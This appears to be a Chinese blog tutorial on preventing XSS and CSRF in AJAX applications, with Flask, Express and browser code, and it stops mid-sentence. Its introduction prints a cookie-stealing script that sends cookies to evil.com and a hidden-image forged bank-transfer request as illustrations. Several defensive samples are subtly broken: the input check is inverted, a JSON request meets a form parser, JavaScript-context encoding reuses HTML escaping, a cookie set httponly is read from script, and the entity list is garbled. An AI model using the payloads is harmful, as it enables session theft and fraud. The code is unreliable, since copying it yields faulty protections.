说到AJAX,我们第一反应往往是“快”和“流畅”——不用刷新页面就能更新内容,用户体验那是相当丝滑。但在这层光鲜亮丽的皮肤下,其实藏着两个让安全工程师头疼不已的老对手:XSS(跨站脚本攻击)和CSRF(跨站请求伪造)。
我见过太多开发者,前端写得很溜,数据交互也做得很炫,结果一上线,被黑产盯上,后台数据被篡改,用户信息泄露,甚至整个应用沦为攻击跳板。今天咱们就掰开了揉碎了聊聊,这两个漏洞到底是怎么钻空子的,以及咱们怎么用AJAX技术把它堵死。别担心,我会尽量用大白话,配合具体的代码示例,让你不仅知道“怎么做”,更明白“为什么这么做”。
先搞懂敌人:XSS和CSRF到底在搞什么鬼?
在谈防范之前,咱得先认识敌人。你不了解它们怎么攻击,怎么防都是雾里看花。
XSS(Cross-Site Scripting),简单说就是“坏人往你的页面里塞恶意脚本”。
想象一下,你有个博客系统,用户可以在文章下面留言。如果系统没过滤,黑客就留一条:“大家好,我是黑客,请点击这里查看我的视频”,结果链接里藏了脚本:<script>document.location='http://evil.com/?cookie='+document.cookie</script>。当其他用户浏览这条留言时,他们的浏览器就会执行这段脚本,黑客就能偷偷拿到他们的会话Cookie,冒充他们登录你的系统。
XSS分为三种:
- 存储型XSS:恶意脚本存储在服务器数据库里,每次有人访问都会执行。危害最大。
- 反射型XSS:脚本通过URL参数传递,用户点击恶意链接时触发。
- DOM型XSS:恶意脚本在浏览器端通过JavaScript操作DOM时注入,不涉及服务器响应内容。
CSRF(Cross-Site Request Forgery),则是“坏人逼着用户帮他们干坏事”。
假设你在银行网站A登录了,Cookie还有效。然后你去看一个恶意网站B,网站B里藏了一段隐藏的图片请求:<img src="http://bank.com/transfer?to=hacker&amount=10000">。当你浏览器加载这个图片时,就会向银行发送转账请求,因为浏览器会自动带上你的Cookie(银行验证的是Cookie,而不是“是否是你主动发起的请求”)。结果就是,你没想转账,但钱被转走了。
关键点:CSRF利用的是用户已登录的身份,强迫用户浏览器发送非本意的请求。
AJAX在这两个攻击中扮演什么角色?AJAX本身是中性技术,但它改变了请求的发送方式——可以用JavaScript动态构造请求,绕过一些传统的同源限制感知,也使得CSRF攻击更容易被触发(因为恶意网站可以发起AJAX请求),同时也增加了XSS注入的隐蔽性(比如通过DOM操作动态插入脚本)。
防范XSS:从输入到输出的全链路守护
XSS防范的核心思想就一条:永远不要信任任何用户输入。但具体怎么做呢?
1. 输入验证:在源头把关
在数据进入系统之前,先检查它是否合法。这就像门卫检查进小区的人。
对于AJAX场景,前端收到后端返回的数据,或者前端提交数据时,都要做验证。
后端输入验证示例(以Python Flask为例):
from flask import Flask, request, render_template_string
import re
app = Flask(__name__)
def validate_input(text):
# 定义合法的输入模式:只允许字母、数字、中文、基本标点
pattern = r'^[\u4e00-\u9fa5a-zA-Z0-9\s,。!?、:;""''()《》【】]+$'
if not re.match(pattern, text):
return None
return text
@app.route('/post-comment', methods=['POST'])
def post_comment():
comment = request.form.get('comment')
validated = validate_input(comment)
if validated is None:
return "非法输入", 400
# 保存validated到数据库
return "评论提交成功"
前端输入验证示例:
// 假设有一个输入框
const commentInput = document.getElementById('commentInput');
const submitBtn = document.getElementById('submitBtn');
submitBtn.addEventListener('click', async () => {
const comment = commentInput.value;
// 前端验证:移除所有script标签和事件处理器
const sanitized = comment
.replace(/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi, '')
.replace(/on\w+\s*=\s*["'][^"']*["']/gi, '')
.replace(/<iframe[^>]*>.*?<\/iframe>/gi, '');
if (sanitized.length === 0 || sanitized === comment) {
alert('输入包含非法内容,请修改后再提交');
return;
}
// 使用AJAX提交验证后的内容
fetch('/post-comment', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ comment: sanitized })
})
.then(response => response.json())
.then(data => {
if (data.success) {
console.log('提交成功');
} else {
console.error('提交失败', data.error);
}
});
});
2. 输出编码:最后一道防线
即使用户输入通过了验证,在将其渲染到页面时,也必须进行编码。这是防范XSS最关键的一步,尤其是存储型XSS——数据已经存在数据库里了,你没法再过滤了,只能在输出时处理。
HTML实体编码: 将特殊字符转换为HTML实体。
<变为<>变为>&变为&"变为"'变为'
JavaScript上下文编码: 当数据要插入到JavaScript代码中时,需要用不同的编码方式。
后端输出编码(以Node.js Express为例):
const express = require('express');
const app = express();
const sanitizer = require('validator');
app.get('/get-comment', (req, res) => {
const userId = req.query.userId;
// 假设从数据库获取评论
const comment = getCommentFromDB(userId);
// 对输出进行HTML实体编码
const safeComment = sanitizer.escape(comment);
res.json({ comment: safeComment });
});
app.get('/get-comment-js', (req, res) => {
const comment = getCommentFromDB(req.query.userId);
// 对JavaScript上下文进行编码(防DOM型XSS)
const safeComment = sanitizer.escape(comment);
// 返回可以直接插入<script>标签的编码内容
res.send(`var comment = "${safeComment}";`);
});
前端输出编码(AJAX回调中):
// 使用AJAX获取数据后,不要直接用innerHTML
fetch('/get-comment?userId=123')
.then(response => response.json())
.then(data => {
const commentDiv = document.getElementById('commentDisplay');
// ❌ 危险做法:直接innerHTML,如果后端没编码,XSS就会发生
// commentDiv.innerHTML = data.comment;
// ✅ 安全做法1:使用textContent(只设置文本,不解析HTML)
commentDiv.textContent = data.comment;
// ✅ 安全做法2:如果必须渲染HTML,使用专门的安全库
// 例如使用DOMPurify
const DOMPurify = require('dompurify');
const cleanHTML = DOMPurify.sanitize(data.comment);
commentDiv.innerHTML = cleanHTML;
});
DOMPurify库的使用示例:
// 安装:npm install dompurify
const DOMPurify = require('dompurify');
// 在浏览器环境中
const clean = DOMPurify.sanitize("<b>你好</b> <script>alert('xss')</script>");
// 结果:<b>你好</b>
DOMPurify是专门用于清理HTML的工具,可以保留安全的标签(如<b>、<i>、<a>等),但移除所有脚本标签和事件处理器。对于富文本编辑器这类需要保留部分HTML格式的场景,DOMPurify是必备工具。
3. 内容安全策略(CSP):额外的安全层
CSP是一种浏览器安全机制,通过HTTP响应头或<meta>标签,告诉浏览器哪些脚本来源是可信的。如果页面被注入了恶意脚本,但脚本来源不在CSP允许的列表中,浏览器就会阻止执行。
设置CSP示例:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self' 'unsafe-inline';
解释:
default-src 'self':默认只允许同源资源script-src 'self' https://trusted.cdn.com:脚本只能来自同源或指定的CDNstyle-src 'self' 'unsafe-inline':样式可以来自同源,允许内联样式(但最好避免内联样式和脚本)
通过Express中间件设置CSP:
const helmet = require('helmet');
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "https://trusted.cdn.com"],
styleSrc: ["'self'", "'unsafe-inline'"], // 注意:'unsafe-inline'会降低CSP效果
imgSrc: ["'self'", "data:", "https://images.example.com"]
}
}));
4. 避免使用危险的内建方法
在JavaScript中,有一些方法可以直接执行字符串中的代码,这些方法是XSS的温床:
// ❌ 危险:eval会执行字符串中的代码
eval("alert('xss')");
// ❌ 危险:innerHTML会解析HTML,可能包含脚本
element.innerHTML = userInput;
// ❌ 危险:setTimeout接收字符串时会当作代码执行
setTimeout("alert('xss')", 1000);
// ❌ 危险:new Function构造器
const fn = new Function("return 'xss'");
// ✅ 安全:使用textContent设置文本
element.textContent = userInput;
// ✅ 安全:使用创建元素的方式添加内容
const span = document.createElement('span');
span.textContent = userInput;
element.appendChild(span);
// ✅ 安全:使用模板字符串时确保变量已编码
const template = `<div>${escapeHtml(userInput)}</div>`;
防范CSRF:让请求证明“你是你”
CSRF防范的核心思想:区分“用户主动发起的请求”和“被恶意网站诱导发起的请求”。
AJAX请求由于是JavaScript发起的,可以添加自定义请求头,这为CSRF防范提供了便利。
1. 同步令牌(Synchronizer Token)模式
这是最经典、最可靠的CSRF防护方案。
原理: 每个用户会话生成一个唯一的随机令牌,这个令牌必须包含在每个敏感请求中(作为隐藏字段或自定义请求头)。服务器验证令牌是否匹配,不匹配则拒绝请求。
实现步骤:
后端生成令牌并绑定到会话:
# Flask示例
from flask import Flask, session, render_template_string, request, abort
import os
import secrets
app = Flask(__name__)
app.secret_key = secrets.token_hex(32) # 用于session加密
def generate_csrf_token():
if 'csrf_token' not in session:
session['csrf_token'] = secrets.token_hex(32)
return session['csrf_token']
@app.route('/csrf-form')
def csrf_form():
token = generate_csrf_token()
html = f'''
<form method="POST" action="/submit-form">
<input type="hidden" name="csrf_token" value="{token}">
<input type="text" name="username" placeholder="用户名">
<button type="submit">提交</button>
</form>
'''
return render_template_string(html)
@app.route('/submit-form', methods=['POST'])
def submit_form():
token = request.form.get('csrf_token')
if not token or token != session.get('csrf_token'):
abort(403) # CSRF令牌无效
# 处理业务逻辑
return "提交成功"
# AJAX接口示例
@app.route('/api/update-profile', methods=['POST'])
def update_profile():
token = request.headers.get('X-CSRF-Token')
if not token or token != session.get('csrf_token'):
abort(403)
data = request.get_json()
# 更新用户资料
return {"success": True}
前端AJAX请求携带CSRF令牌:
// 假设页面加载时从隐藏字段获取令牌
const csrfToken = document.querySelector('meta[name="csrf-token"]').content;
// 方式1:作为自定义请求头发送(推荐用于AJAX)
fetch('/api/update-profile', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken // 自定义头,恶意网站无法跨域读取
},
body: JSON.stringify({ username: 'newname' })
});
// 方式2:作为查询参数或表单数据发送
fetch('/api/update-profile', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
username: 'newname',
csrf_token: csrfToken
})
});
为什么自定义请求头更安全?
根据同源策略,恶意网站A无法读取网站B的响应头(包括自定义头)。当网站B的页面被嵌入到网站A的iframe中时,网站A的JavaScript无法获取网站B的CSRF令牌。但网站A可以发起POST请求到网站B(带上网站B的Cookie),只是请求中无法携带网站B的CSRF令牌,服务器验证失败,请求被拒绝。
2. 检查Origin和Referer头
服务器可以检查请求的Origin或Referer头,确认请求来源是否合法。
@app.route('/api/transfer', methods=['POST'])
def transfer():
origin = request.headers.get('Origin')
referer = request.headers.get('Referer')
# 允许的同源列表
allowed_origins = ['https://yourbank.com', 'https://www.yourbank.com']
if origin and origin not in allowed_origins:
abort(403)
if referer and not referer.startswith(tuple(allowed_origins)):
abort(403)
# 处理转账逻辑
return "转账成功"
注意事项:
Origin头在某些情况下可能被省略(如从HTTPS页面请求HTTP资源)Referer头可以被用户代理修改,不可完全信任- 这个方法应作为CSRF令牌的补充,而非替代
3. 同站点Cookie(SameSite属性)
这是浏览器层面的防护,设置Cookie的SameSite属性,限制Cookie在跨站点请求中发送。
Set-Cookie: session_id=abc123; SameSite=Strict; Secure
SameSite有三个值:
Strict:最严格,任何跨站点请求都不发送CookieLax:较宽松,仅允许顶级导航(如点击链接)时发送CookieNone:不限制,但必须配合Secure(仅HTTPS)
Express设置示例:
const cookieParser = require('cookie-parser');
app.use(cookieParser());
app.get('/set-cookie', (req, res) => {
res.cookie('session', 'value', {
httpOnly: true,
secure: true,
sameSite: 'strict'
});
});
局限性: SameSite需要浏览器支持,旧版本浏览器可能忽略该属性。因此,不能完全依赖它,仍需配合CSRF令牌。
4. AJAX特定防护:双重提交Cookie模式
这是一种较轻量的CSRF防护方案,适合不想在后端存储令牌的场景。
原理:
- 页面加载时,后端设置一个随机Cookie(如
csrf_cookie) - AJAX请求时,前端读取这个Cookie值,并将其作为请求头或参数发送
- 后端验证请求中的值与Cookie中的值是否匹配
实现:
@app.route('/set-csrf-cookie')
def set_csrf_cookie():
token = secrets.token_hex(32)
response = make_response(f'CSRF Cookie set: {token}')
response.set_cookie('csrf_cookie', token, httponly=True, samesite='Strict')
return response
@app.route('/api/action', methods=['POST'])
def api_action():
cookie_token = request.cookies.get('csrf_cookie')
header_token = request.headers.get('X-CSRF-Token')
if not cookie_token or not header_token or cookie_token != header_token:
abort(403)
# 处理业务逻辑
return {"success": True}
// 前端获取Cookie值并发送到请求头
function getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
}
fetch('/api/action', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': getCookie('csrf_cookie')
},
body: JSON.stringify({ data: 'value' })
});
注意: 由于document.cookie无法读取httponly的